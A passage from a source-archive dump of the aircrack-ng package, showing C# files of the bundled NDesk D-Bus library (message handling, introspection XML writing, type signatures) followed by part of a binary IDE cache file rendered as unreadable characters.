Type[1]; outTypes[0] = mi.ReturnType; //we default to always requiring replies for now, even though unnecessary //this is to make sure errors are handled synchronously //TODO: don't hard code this bool needsReply = true; //if (mi.ReturnType == typeof (void)) // needsReply = false; callMsg.ReplyExpected = needsReply; callMsg.Signature = inSig; if (!needsReply) { conn.Send (callMsg); return; } #if PROTO_REPLY_SIGNATURE if (needsReply) { Signature outSig = Signature.GetSig (outTypes); callMsg.Header.Fields[FieldCode.ReplySignature] = outSig; } #endif Message retMsg = conn.SendWithReplyAndBlock (callMsg); //handle the reply message switch (retMsg.Header.MessageType) { case MessageType.MethodReturn: object[] retVals = MessageHelper.GetDynamicValues (retMsg, outTypes); if (retVals.Length != 0) retVal = retVals[retVals.Length - 1]; break; case MessageType.Error: //TODO: typed exceptions Error error = new Error (retMsg); string errMsg = String.Empty; if (retMsg.Signature.Value.StartsWith ("s")) { MessageReader reader = new MessageReader (retMsg); errMsg = reader.ReadString (); } exception = new Exception (error.ErrorName + ": " + errMsg); break; default: throw new Exception ("Got unexpected message of type " + retMsg.Header.MessageType + " while waiting for a MethodReturn or Error"); } return; } public static object GetObject (Connection conn, string bus_name, ObjectPath object_path, Type declType) { Type proxyType = TypeImplementer.GetImplementation (declType); BusObject inst = (BusObject)Activator.CreateInstance (proxyType); inst.conn = conn; inst.bus_name = bus_name; inst.object_path = object_path; return inst; } public Delegate GetHookupDelegate (EventInfo ei) { DynamicMethod hookupMethod = TypeImplementer.GetHookupMethod (ei); Delegate d = hookupMethod.CreateDelegate (ei.EventHandlerType, this); return d; } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Introspection.cs0000644000000000000000000002231111600013506024310 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; using System.Xml; using System.Text; using System.Reflection; namespace NDesk.DBus { //TODO: complete this class class Introspector { const string NAMESPACE = "http://www.freedesktop.org/standards/dbus"; const string PUBLIC_IDENTIFIER = "-//freedesktop//DTD D-BUS Object Introspection 1.0//EN"; const string SYSTEM_IDENTIFIER = "http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd"; public StringBuilder sb; public string xml; public ObjectPath root_path = ObjectPath.Root; protected XmlWriter writer; public Introspector () { XmlWriterSettings settings = new XmlWriterSettings (); settings.Indent = true; settings.IndentChars = (" "); settings.OmitXmlDeclaration = true; sb = new StringBuilder (); writer = XmlWriter.Create (sb, settings); } static string GetProductDescription () { String version; Assembly assembly = Assembly.GetExecutingAssembly (); AssemblyName aname = assembly.GetName (); AssemblyInformationalVersionAttribute iversion = Attribute.GetCustomAttribute (assembly, typeof (AssemblyInformationalVersionAttribute)) as AssemblyInformationalVersionAttribute; if (iversion != null) version = iversion.InformationalVersion; else version = aname.Version.ToString (); return aname.Name + " " + version; } public void WriteStart () { writer.WriteDocType ("node", PUBLIC_IDENTIFIER, SYSTEM_IDENTIFIER, null); writer.WriteComment (" " + GetProductDescription () + " "); //the root node element writer.WriteStartElement ("node"); } public void WriteNode (string name) { writer.WriteStartElement ("node"); writer.WriteAttributeString ("name", name); writer.WriteEndElement (); } public void WriteEnd () { /* WriteEnum (typeof (org.freedesktop.DBus.NameFlag)); WriteEnum (typeof (org.freedesktop.DBus.NameReply)); WriteEnum (typeof (org.freedesktop.DBus.ReleaseNameReply)); WriteEnum (typeof (org.freedesktop.DBus.StartReply)); WriteInterface (typeof (org.freedesktop.DBus.IBus)); */ writer.WriteEndElement (); writer.Flush (); xml = sb.ToString (); } //public void WriteNode () public void WriteType (Type target_type) { //writer.WriteStartElement ("node"); //TODO: non-well-known introspection has paths as well, which we don't do yet. read the spec again //hackishly just remove the root '/' to make the path relative for now //writer.WriteAttributeString ("name", target_path.Value.Substring (1)); //writer.WriteAttributeString ("name", "test"); //reflect our own interface manually WriteInterface (typeof (org.freedesktop.DBus.Introspectable)); //reflect the target interface if (target_type != null) { WriteInterface (target_type); foreach (Type ifType in target_type.GetInterfaces ()) WriteInterface (ifType); } //TODO: review recursion of interfaces and inheritance hierarchy //writer.WriteEndElement (); } public void WriteArg (ParameterInfo pi) { WriteArg (pi.ParameterType, Mapper.GetArgumentName (pi), pi.IsOut, false); } public void WriteArgReverse (ParameterInfo pi) { WriteArg (pi.ParameterType, Mapper.GetArgumentName (pi), pi.IsOut, true); } //TODO: clean up and get rid of reverse (or argIsOut) parm public void WriteArg (Type argType, string argName, bool argIsOut, bool reverse) { argType = argIsOut ? argType.GetElementType () : argType; if (argType == typeof (void)) return; writer.WriteStartElement ("arg"); if (!String.IsNullOrEmpty (argName)) writer.WriteAttributeString ("name", argName); //we can't rely on the default direction (qt-dbus requires a direction at time of writing), so we use a boolean to reverse the parameter direction and make it explicit if (argIsOut) writer.WriteAttributeString ("direction", !reverse ? "out" : "in"); else writer.WriteAttributeString ("direction", !reverse ? "in" : "out"); Signature sig = Signature.GetSig (argType); //TODO: avoid writing null (DType.Invalid) to the XML stream writer.WriteAttributeString ("type", sig.Value); //annotations aren't valid in an arg element, so this is disabled //if (argType.IsEnum) // WriteAnnotation ("org.ndesk.DBus.Enum", Mapper.GetInterfaceName (argType)); writer.WriteEndElement (); } public void WriteMethod (MethodInfo mi) { writer.WriteStartElement ("method"); writer.WriteAttributeString ("name", mi.Name); foreach (ParameterInfo pi in mi.GetParameters ()) WriteArg (pi); //Mono <= 1.1.13 doesn't support MethodInfo.ReturnParameter, so avoid it //WriteArgReverse (mi.ReturnParameter); WriteArg (mi.ReturnType, Mapper.GetArgumentName (mi.ReturnTypeCustomAttributes, "ret"), false, true); WriteAnnotations (mi); writer.WriteEndElement (); } public void WriteProperty (PropertyInfo pri) { //expose properties as dbus properties writer.WriteStartElement ("property"); writer.WriteAttributeString ("name", pri.Name); writer.WriteAttributeString ("type", Signature.GetSig (pri.PropertyType).Value); string access = (pri.CanRead ? "read" : String.Empty) + (pri.CanWrite ? "write" : String.Empty); writer.WriteAttributeString ("access", access); WriteAnnotations (pri); writer.WriteEndElement (); //expose properties as methods also //it may not be worth doing this in the long run /* if (pri.CanRead) { writer.WriteStartElement ("method"); writer.WriteAttributeString ("name", "Get" + pri.Name); WriteArgReverse (pri.GetGetMethod ().ReturnParameter); writer.WriteEndElement (); } if (pri.CanWrite) { writer.WriteStartElement ("method"); writer.WriteAttributeString ("name", "Set" + pri.Name); foreach (ParameterInfo pi in pri.GetSetMethod ().GetParameters ()) WriteArg (pi); writer.WriteEndElement (); } */ } public void WriteSignal (EventInfo ei) { writer.WriteStartElement ("signal"); writer.WriteAttributeString ("name", ei.Name); foreach (ParameterInfo pi in ei.EventHandlerType.GetMethod ("Invoke").GetParameters ()) WriteArgReverse (pi); WriteAnnotations (ei); //no need to consider the delegate return value as dbus doesn't support it writer.WriteEndElement (); } const BindingFlags relevantBindingFlags = BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly; public void WriteInterface (Type type) { if (type == null) return; //TODO: this is unreliable, fix it if (!Mapper.IsPublic (type)) return; writer.WriteStartElement ("interface"); writer.WriteAttributeString ("name", Mapper.GetInterfaceName (type)); /* foreach (MemberInfo mbi in type.GetMembers (relevantBindingFlags)) { switch (mbi.MemberType) { case MemberTypes.Method: if (!((MethodInfo)mbi).IsSpecialName) WriteMethod ((MethodInfo)mbi); break; case MemberTypes.Event: WriteSignal ((EventInfo)mbi); break; case MemberTypes.Property: WriteProperty ((PropertyInfo)mbi); break; default: Console.Error.WriteLine ("Warning: Unhandled MemberType '{0}' encountered while introspecting {1}", mbi.MemberType, type.FullName); break; } } */ foreach (MethodInfo mi in type.GetMethods (relevantBindingFlags)) if (!mi.IsSpecialName) WriteMethod (mi); foreach (EventInfo ei in type.GetEvents (relevantBindingFlags)) WriteSignal (ei); foreach (PropertyInfo pri in type.GetProperties (relevantBindingFlags)) WriteProperty (pri); //TODO: indexers //TODO: attributes as annotations? writer.WriteEndElement (); //this recursion seems somewhat inelegant WriteInterface (type.BaseType); } public void WriteAnnotations (ICustomAttributeProvider attrProvider) { if (Mapper.IsDeprecated (attrProvider)) WriteAnnotation ("org.freedesktop.DBus.Deprecated", "true"); } public void WriteAnnotation (string name, string value) { writer.WriteStartElement ("annotation"); writer.WriteAttributeString ("name", name); writer.WriteAttributeString ("value", value); writer.WriteEndElement (); } //this is not in the spec, and is not finalized public void WriteEnum (Type type) { writer.WriteStartElement ("enum"); writer.WriteAttributeString ("name", Mapper.GetInterfaceName (type)); writer.WriteAttributeString ("type", Signature.GetSig (type.GetElementType ()).Value); writer.WriteAttributeString ("flags", (type.IsDefined (typeof (FlagsAttribute), false)) ? "true" : "false"); string[] names = Enum.GetNames (type); int i = 0; foreach (Enum val in Enum.GetValues (type)) { writer.WriteStartElement ("element"); writer.WriteAttributeString ("name", names[i++]); writer.WriteAttributeString ("value", val.ToString ("d")); writer.WriteEndElement (); } writer.WriteEndElement (); } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Message.cs0000644000000000000000000000367311600013506023046 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; namespace NDesk.DBus { class Message { public Message () { Header.Endianness = Connection.NativeEndianness; Header.MessageType = MessageType.MethodCall; Header.Flags = HeaderFlag.NoReplyExpected; //TODO: is this the right place to do this? Header.MajorVersion = Protocol.Version; Header.Fields = new Dictionary (); } public Header Header; public Connection Connection; public Signature Signature { get { object o; if (Header.Fields.TryGetValue (FieldCode.Signature, out o)) return (Signature)o; else return Signature.Empty; } set { if (value == Signature.Empty) Header.Fields.Remove (FieldCode.Signature); else Header.Fields[FieldCode.Signature] = value; } } public bool ReplyExpected { get { return (Header.Flags & HeaderFlag.NoReplyExpected) == HeaderFlag.None; } set { if (value) Header.Flags &= ~HeaderFlag.NoReplyExpected; //flag off else Header.Flags |= HeaderFlag.NoReplyExpected; //flag on } } //public HeaderField[] HeaderFields; //public Dictionary; public byte[] Body; //TODO: make use of Locked /* protected bool locked = false; public bool Locked { get { return locked; } } */ public void SetHeaderData (byte[] data) { EndianFlag endianness = (EndianFlag)data[0]; MessageReader reader = new MessageReader (endianness, data); Header = (Header)reader.ReadStruct (typeof (Header)); } public byte[] GetHeaderData () { if (Body != null) Header.Length = (uint)Body.Length; MessageWriter writer = new MessageWriter (Header.Endianness); writer.WriteValueType (Header, typeof (Header)); writer.CloseWrite (); return writer.ToArray (); } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Signature.cs0000644000000000000000000003064111600013506023416 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; //TODO: Reflection should be done at a higher level than this class using System.Reflection; namespace NDesk.DBus { //maybe this should be nullable? struct Signature { //TODO: this class needs some work //Data should probably include the null terminator public static readonly Signature Empty = new Signature (String.Empty); public static bool operator == (Signature a, Signature b) { /* //TODO: remove this hack to handle bad case when Data is null if (a.data == null || b.data == null) throw new Exception ("Encountered Signature with null buffer"); */ /* if (a.data == null && b.data == null) return true; if (a.data == null || b.data == null) return false; */ if (a.data.Length != b.data.Length) return false; for (int i = 0 ; i != a.data.Length ; i++) if (a.data[i] != b.data[i]) return false; return true; } public static bool operator != (Signature a, Signature b) { return !(a == b); } public override bool Equals (object o) { if (o == null) return false; if (!(o is Signature)) return false; return this == (Signature)o; } public override int GetHashCode () { return data.GetHashCode (); } public static Signature operator + (Signature s1, Signature s2) { return Concat (s1, s2); } //these need to be optimized public static Signature Concat (Signature s1, Signature s2) { return new Signature (s1.Value + s2.Value); } public static Signature Copy (Signature sig) { return new Signature (sig.data); } public Signature (string value) { this.data = Encoding.ASCII.GetBytes (value); } public Signature (byte[] value) { this.data = (byte[])value.Clone (); } //this will become obsolete soon internal Signature (DType value) { this.data = new byte[] {(byte)value}; } internal Signature (DType[] value) { this.data = new byte[value.Length]; /* MemoryStream ms = new MemoryStream (this.data); foreach (DType t in value) ms.WriteByte ((byte)t); */ for (int i = 0 ; i != value.Length ; i++) this.data[i] = (byte)value[i]; } byte[] data; //TODO: this should be private, but MessageWriter and Monitor still use it //[Obsolete] public byte[] GetBuffer () { return data; } internal DType this[int index] { get { return (DType)data[index]; } } public int Length { get { return data.Length; } } //[Obsolete] public string Value { get { /* //FIXME: hack to handle bad case when Data is null if (data == null) return String.Empty; */ return Encoding.ASCII.GetString (data); } } public override string ToString () { return Value; /* StringBuilder sb = new StringBuilder (); foreach (DType t in data) { //we shouldn't rely on object mapping here, but it's an easy way to get string representations for now Type type = DTypeToType (t); if (type != null) { sb.Append (type.Name); } else { char c = (char)t; if (!Char.IsControl (c)) sb.Append (c); else sb.Append (@"\" + (int)c); } sb.Append (" "); } return sb.ToString (); */ } public Signature MakeArraySignature () { return new Signature (DType.Array) + this; } public static Signature MakeStruct (params Signature[] elems) { Signature sig = Signature.Empty; sig += new Signature (DType.StructBegin); foreach (Signature elem in elems) sig += elem; sig += new Signature (DType.StructEnd); return sig; } public static Signature MakeDictEntry (Signature keyType, Signature valueType) { Signature sig = Signature.Empty; sig += new Signature (DType.DictEntryBegin); sig += keyType; sig += valueType; sig += new Signature (DType.DictEntryEnd); return sig; } public static Signature MakeDict (Signature keyType, Signature valueType) { return MakeDictEntry (keyType, valueType).MakeArraySignature (); } /* //TODO: complete this public bool IsPrimitive { get { if (this == Signature.Empty) return true; return false; } } */ public bool IsDict { get { if (Length < 3) return false; if (!IsArray) return false; if (this[2] != DType.DictEntryBegin) return false; return true; } } public bool IsArray { get { if (Length < 2) return false; if (this[0] != DType.Array) return false; return true; } } public Signature GetElementSignature () { if (!IsArray) throw new Exception ("Cannot get the element signature of a non-array (signature was '" + this + "')"); //TODO: improve this if (Length != 2) throw new NotSupportedException ("Parsing signatures with more than one primitive value is not supported (signature was '" + this + "')"); return new Signature (this[1]); } public Type[] ToTypes () { List types = new List (); for (int i = 0 ; i != data.Length ; types.Add (ToType (ref i))); return types.ToArray (); } public Type ToType () { int pos = 0; Type ret = ToType (ref pos); if (pos != data.Length) throw new Exception ("Signature '" + Value + "' is not a single complete type"); return ret; } internal static DType TypeCodeToDType (TypeCode typeCode) { switch (typeCode) { case TypeCode.Empty: return DType.Invalid; case TypeCode.Object: return DType.Invalid; case TypeCode.DBNull: return DType.Invalid; case TypeCode.Boolean: return DType.Boolean; case TypeCode.Char: return DType.UInt16; case TypeCode.SByte: return DType.Byte; case TypeCode.Byte: return DType.Byte; case TypeCode.Int16: return DType.Int16; case TypeCode.UInt16: return DType.UInt16; case TypeCode.Int32: return DType.Int32; case TypeCode.UInt32: return DType.UInt32; case TypeCode.Int64: return DType.Int64; case TypeCode.UInt64: return DType.UInt64; case TypeCode.Single: return DType.Single; case TypeCode.Double: return DType.Double; case TypeCode.Decimal: return DType.Invalid; case TypeCode.DateTime: return DType.Invalid; case TypeCode.String: return DType.String; default: return DType.Invalid; } } //FIXME: this method is bad, get rid of it internal static DType TypeToDType (Type type) { if (type == typeof (void)) return DType.Invalid; if (type == typeof (string)) return DType.String; if (type == typeof (ObjectPath)) return DType.ObjectPath; if (type == typeof (Signature)) return DType.Signature; if (type == typeof (object)) return DType.Variant; if (type.IsPrimitive) return TypeCodeToDType (Type.GetTypeCode (type)); if (type.IsEnum) return TypeToDType (Enum.GetUnderlyingType (type)); //needs work if (type.IsArray) return DType.Array; //if (type.UnderlyingSystemType != null) // return TypeToDType (type.UnderlyingSystemType); if (Mapper.IsPublic (type)) return DType.ObjectPath; if (!type.IsPrimitive && !type.IsEnum) return DType.Struct; //TODO: maybe throw an exception here return DType.Invalid; } /* public static DType TypeToDType (Type type) { if (type == null) return DType.Invalid; else if (type == typeof (byte)) return DType.Byte; else if (type == typeof (bool)) return DType.Boolean; else if (type == typeof (short)) return DType.Int16; else if (type == typeof (ushort)) return DType.UInt16; else if (type == typeof (int)) return DType.Int32; else if (type == typeof (uint)) return DType.UInt32; else if (type == typeof (long)) return DType.Int64; else if (type == typeof (ulong)) return DType.UInt64; else if (type == typeof (float)) //not supported by libdbus at time of writing return DType.Single; else if (type == typeof (double)) return DType.Double; else if (type == typeof (string)) return DType.String; else if (type == typeof (ObjectPath)) return DType.ObjectPath; else if (type == typeof (Signature)) return DType.Signature; else return DType.Invalid; } */ public Type ToType (ref int pos) { DType dtype = (DType)data[pos++]; switch (dtype) { case DType.Invalid: return typeof (void); case DType.Byte: return typeof (byte); case DType.Boolean: return typeof (bool); case DType.Int16: return typeof (short); case DType.UInt16: return typeof (ushort); case DType.Int32: return typeof (int); case DType.UInt32: return typeof (uint); case DType.Int64: return typeof (long); case DType.UInt64: return typeof (ulong); case DType.Single: ////not supported by libdbus at time of writing return typeof (float); case DType.Double: return typeof (double); case DType.String: return typeof (string); case DType.ObjectPath: return typeof (ObjectPath); case DType.Signature: return typeof (Signature); case DType.Array: //peek to see if this is in fact a dictionary if ((DType)data[pos] == DType.DictEntryBegin) { //skip over the { pos++; Type keyType = ToType (ref pos); Type valueType = ToType (ref pos); //skip over the } pos++; //return typeof (IDictionary<,>).MakeGenericType (new Type[] {keyType, valueType}); //workaround for Mono bug #81035 (memory leak) return Mapper.GetGenericType (typeof (IDictionary<,>), new Type[] {keyType, valueType}); } else { return ToType (ref pos).MakeArrayType (); } case DType.Struct: return typeof (ValueType); case DType.DictEntry: return typeof (System.Collections.Generic.KeyValuePair<,>); case DType.Variant: return typeof (object); default: throw new NotSupportedException ("Parsing or converting this signature is not yet supported (signature was '" + this + "'), at DType." + dtype); } } public static Signature GetSig (object[] objs) { return GetSig (Type.GetTypeArray (objs)); } public static Signature GetSig (Type[] types) { if (types == null) throw new ArgumentNullException ("types"); Signature sig = Signature.Empty; foreach (Type type in types) sig += GetSig (type); return sig; } public static Signature GetSig (Type type) { if (type == null) throw new ArgumentNullException ("type"); //this is inelegant, but works for now if (type == typeof (Signature)) return new Signature (DType.Signature); if (type == typeof (ObjectPath)) return new Signature (DType.ObjectPath); if (type == typeof (void)) return Signature.Empty; if (type == typeof (string)) return new Signature (DType.String); if (type == typeof (object)) return new Signature (DType.Variant); if (type.IsArray) return GetSig (type.GetElementType ()).MakeArraySignature (); if (type.IsGenericType && (type.GetGenericTypeDefinition () == typeof (IDictionary<,>) || type.GetGenericTypeDefinition () == typeof (Dictionary<,>))) { Type[] genArgs = type.GetGenericArguments (); return Signature.MakeDict (GetSig (genArgs[0]), GetSig (genArgs[1])); } if (Mapper.IsPublic (type)) { return new Signature (DType.ObjectPath); } if (!type.IsPrimitive && !type.IsEnum) { Signature sig = Signature.Empty; foreach (FieldInfo fi in type.GetFields (BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance)) sig += GetSig (fi.FieldType); return Signature.MakeStruct (sig); } DType dtype = Signature.TypeToDType (type); return new Signature (dtype); } } enum ArgDirection { In, Out, } enum DType : byte { Invalid = (byte)'\0', Byte = (byte)'y', Boolean = (byte)'b', Int16 = (byte)'n', UInt16 = (byte)'q', Int32 = (byte)'i', UInt32 = (byte)'u', Int64 = (byte)'x', UInt64 = (byte)'t', Single = (byte)'f', //This is not yet supported! Double = (byte)'d', String = (byte)'s', ObjectPath = (byte)'o', Signature = (byte)'g', Array = (byte)'a', //TODO: remove Struct and DictEntry -- they are not relevant to wire protocol Struct = (byte)'r', DictEntry = (byte)'e', Variant = (byte)'v', StructBegin = (byte)'(', StructEnd = (byte)')', DictEntryBegin = (byte)'{', DictEntryEnd = (byte)'}', } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/NDesk-dbus.pidb0000644000000000000000000023374611600013506023740 0ustar rootrootÿÿÿÿSystem.Collections.Hashtable LoadFactorVersionComparerHashCodeProviderHashSizeKeysValues System.Collections.IComparer$System.Collections.IHashCodeProviderìQ8?   LastValidTaskListTokensVersionFIXME:2;TODO:1;HACK:1;UNDONE:0T âÁäfSignalþÿÿÿyy”g|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.csh NDesk.DBusþÿÿÿ{ÿhiMessagejPathþÿÿÿÿhk ObjectPathl Interfaceþÿÿÿ‘mMemberþÿÿÿ’nSenderþÿÿÿ“þÿÿÿ } }D„)ÿhk}o interface})pmember}=þÿÿÿ † †"Žÿhi†XfErrorþÿÿÿ`` wg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.csh NDesk.DBusþÿÿÿbÿhiMessagej ErrorNameþÿÿÿtk ReplySerialþÿÿÿu þÿÿÿ d d6jl error_namedm reply_serial d)þÿÿÿ l l!rÿhilf MethodReturnþÿÿÿJJ^g|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.csh NDesk.DBusþÿÿÿLÿhiMessagej ReplySerialþÿÿÿ] þÿÿÿ N N*Uk reply_serial Nþÿÿÿ W W([ÿhiW ¨f MethodCallþÿÿÿHg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.csh NDesk.DBusþÿÿÿÿhiMessagejPathþÿÿÿ?ÿhk ObjectPathl Interfaceþÿÿÿ@mMemberþÿÿÿAn DestinationþÿÿÿBoSenderþÿÿÿCp SignatureþÿÿÿGÿhpþÿÿÿ  q%)ÿhk!q interface-rmemberAs destinationPt signatureÿhpgþÿÿÿ ' '&=ÿhi'[f UnixTransportþÿÿÿ  $g‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\UnixTransport.cshNDesk.DBus.Transportsÿhi TransportjOpenþÿÿÿ  1kentryÿl NDesk.DBusm AddressEntry +n AuthStringþÿÿÿ'!jþÿÿÿ#)#%oabstract#/0 fTypeImplementerþÿÿÿ‚  ig„C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\TypeImplementer.csh NDesk.DBus iasmBþÿÿÿÿjSystem.Reflection.EmitkAssemblyBuilderlmodBþÿÿÿÿjm ModuleBuildernmapþÿÿÿ ÿoSystem.Collections.Genericp DictionaryqsendMethodCallMethodþÿÿÿJÿrSystem.Reflections MethodInfotsendSignalMethodþÿÿÿKÿrsutoggleSignalMethodþÿÿÿLÿrsvhookup_methodsþÿÿÿN.ÿopÿrw EventInfoÿjx DynamicMethodygetTypeFromHandleMethodþÿÿÿsÿrsz argumentNullExceptionConstructorþÿÿÿtÿr{ConstructorInfo|messageWriterConstructorþÿÿÿuÿr{}messageWriterWriteMethodþÿÿÿvÿrs~messageWriterWritePadþÿÿÿwÿrs writeMethodsþÿÿÿy&ÿopÿrs €InitHackþÿÿÿGetImplementationþÿÿÿˆ70‚declType.ƒ Implementþÿÿÿˆ22?H„typeBÿj… TypeBuilder2-†iface29‡GetHookupMethodþÿÿÿˆOO=_ÿjxˆeiÿrwO:‡þÿÿÿˆaapÿjx‰ declMethodÿrsa;Š invokeMethodÿrsaR‹ interfaceafŒmemberazGetWriteMethodþÿÿÿˆ{{3œÿrsŽt{1 GenWriterþÿÿÿˆŸŸ9½ilgÿj‘ ILGeneratorŸ-ŽŸ7’GenMarshalWriteþÿÿÿˆÀÀBÛÿj‘À3_À=“GenHookupMethodþÿÿÿˆÝ݉hÿj‘Ý3‰ÿrsÝCŠÿrsÝZ‹ÝnŒÝ‚¦f Transportþÿÿÿ  6g~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Transport.cshNDesk.DBus.Transportsi connectionþÿÿÿ#ÿj NDesk.DBusk ConnectionlStreamþÿÿÿ1ÿm System.IOln SocketHandleþÿÿÿ2 oCreateþÿÿÿˆ  6!ÿhfpentryÿjq AddressEntry 0rOpenþÿÿÿ3pÿjq3+s AuthStringþÿÿÿ4t WriteCredþÿÿÿ5kþÿÿÿ%&,ÿjk'))+xfSocketTransportþÿÿÿ  ;g„C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\SocketTransport.cshNDesk.DBus.Transportsÿhi TransportjsocketþÿÿÿÿkSystem.Net.SocketslSocketmOpenþÿÿÿ1nentryÿo NDesk.DBusp AddressEntry+mþÿÿÿ!!+&qhost!rport !&mþÿÿÿ((#0jÿkl(s WriteCredþÿÿÿ22$5t AuthStringþÿÿÿ77':ÞfDTypeþÿÿÿ 7g~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Signature.csh NDesk.DBusiInvalidþÿÿÿ jByteþÿÿÿ kBooleanþÿÿÿ lInt16þÿÿÿ !mUInt16þÿÿÿ "nInt32þÿÿÿ #oUInt32þÿÿÿ $pInt64þÿÿÿ %qUInt64þÿÿÿ &rSingleþÿÿÿ 'sDoubleþÿÿÿ (tStringþÿÿÿ )u ObjectPathþÿÿÿ *v Signatureþÿÿÿ +wArrayþÿÿÿ -xStructþÿÿÿ /y DictEntryþÿÿÿ 0zVariantþÿÿÿ 1{ StructBeginþÿÿÿ 3| StructEndþÿÿÿ 4}DictEntryBeginþÿÿÿ 5~ DictEntryEndþÿÿÿ 6-f ArgDirectionþÿÿÿg~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Signature.csh NDesk.DBusiInþÿÿÿ jOutþÿÿÿ ef SignatureþÿÿÿB g~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Signature.csh NDesk.DBusiEmptyþÿÿÿˆ$ÿhfþÿÿÿt ÿjSystemkBytel op_Equalityþÿÿÿˆ <.maÿhf-nbÿhf:o op_Inequalityþÿÿÿˆ 00<3mÿhf0-nÿhf0:þÿÿÿ55)>&5'p GetHashCodeþÿÿÿ@@%C q op_Additionþÿÿÿˆ EEBHÿhfrs1ÿhfE1ss2ÿhfE?tConcatþÿÿÿˆKK>NÿhfrÿhfK-sÿhfK;uCopyþÿÿÿˆPP/SÿhfvsigÿhfP+þÿÿÿ U U"X`Uþÿÿÿ Z Z"]`ÿjkZþÿÿÿ ` `#c`ÿhwDType`þÿÿÿ e e%r`ÿhwex GetBufferþÿÿÿxx{ÿjk^þÿÿÿ™™%±yMakeArraySignatureþÿÿÿ³³)¶ÿhfz MakeStructþÿÿÿˆ¸¸@Äÿhf{elemsÿhf¸:| MakeDictEntryþÿÿÿˆÆÆQÒÿhf}keyTypeÿhfÆ4~ valueTypeÿhfÆGMakeDictþÿÿÿˆÔÔL×ÿhf}ÿhfÔ/~ÿhfÔB€GetElementSignatureþÿÿÿ* ÿhfToTypesþÿÿÿÿj‚TypeƒToTypeþÿÿÿ„TypeCodeToDTypeþÿÿÿ‚<Jÿhw…typeCodeÿj†TypeCode3‡ TypeToDTypeþÿÿÿ‚MM0rÿhw_M+ƒþÿÿÿ˜˜#шpos ˜‰GetSigŠ,/not supported by libdbus at time of writingˆÓÓ1Öÿhf‹objsÿjŒObjectÓ,‰þÿÿÿˆØØ0ãÿhftypesÿj‚Ø*‰þÿÿÿˆåå-ÿhf_å(Žthisþÿÿÿ} }}}!ÿhwLengthþÿÿÿ„…‰ †ˆValueþÿÿÿŒ—Ž–‘IsDictþÿÿÿæçôèó’IsArrayþÿÿÿö÷ø%fProtocolþÿÿÿ‚ÉÉg}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBus i MinVersionþÿÿÿˆÌjVersionþÿÿÿˆÍk MaxVersionþÿÿÿˆÎlMaxMessageLengthþÿÿÿˆÐ mMaxArrayLengthþÿÿÿˆÑ nMaxSignatureLengthþÿÿÿˆÒ o MaxArrayDepthþÿÿÿˆÓ pMaxStructDepthþÿÿÿˆÔ q MaxNameLengthþÿÿÿ‚× rVerboseþÿÿÿˆs PadNeededþÿÿÿˆÙÙ7ß tpos Ù$u alignment Ù-vPaddedþÿÿÿˆáá4è t á!u á*w GetAlignmentþÿÿÿˆêê/ xdtypeÿhyDTypeê)þÿÿÿ  df ObjectPathþÿÿÿH{{ Çg}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBusiRootþÿÿÿˆ}%ÿhfjValueþÿÿÿþÿÿÿ #‡`þÿÿÿ‰‰)‘&‰'k GetHashCodeþÿÿÿ““%– ^þÿÿÿ˜˜%›l DecomposedþÿÿÿžŸ§ÿmSystemnString ¦oParentþÿÿÿ©ªµÿhf«´‡f HeaderFlagþÿÿÿtgFlagsss(tyh}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csi NDesk.DBusjNoneþÿÿÿ vkNoReplyExpectedþÿÿÿ wl NoAutoStartþÿÿÿ x.f EndianFlagþÿÿÿmmqg}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBusiLittleþÿÿÿ ojBigþÿÿÿ p)f FieldCodeþÿÿÿ]]kg}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBus iInvalidþÿÿÿ _jPathþÿÿÿ `k Interfaceþÿÿÿ alMemberþÿÿÿ bm ErrorNameþÿÿÿ cn ReplySerialþÿÿÿ do Destinationþÿÿÿ epSenderþÿÿÿ fq Signatureþÿÿÿ gŸf MessageTypeþÿÿÿOO[g}C:\Documents and Settings\The Baron\My Documents\Visual Studio 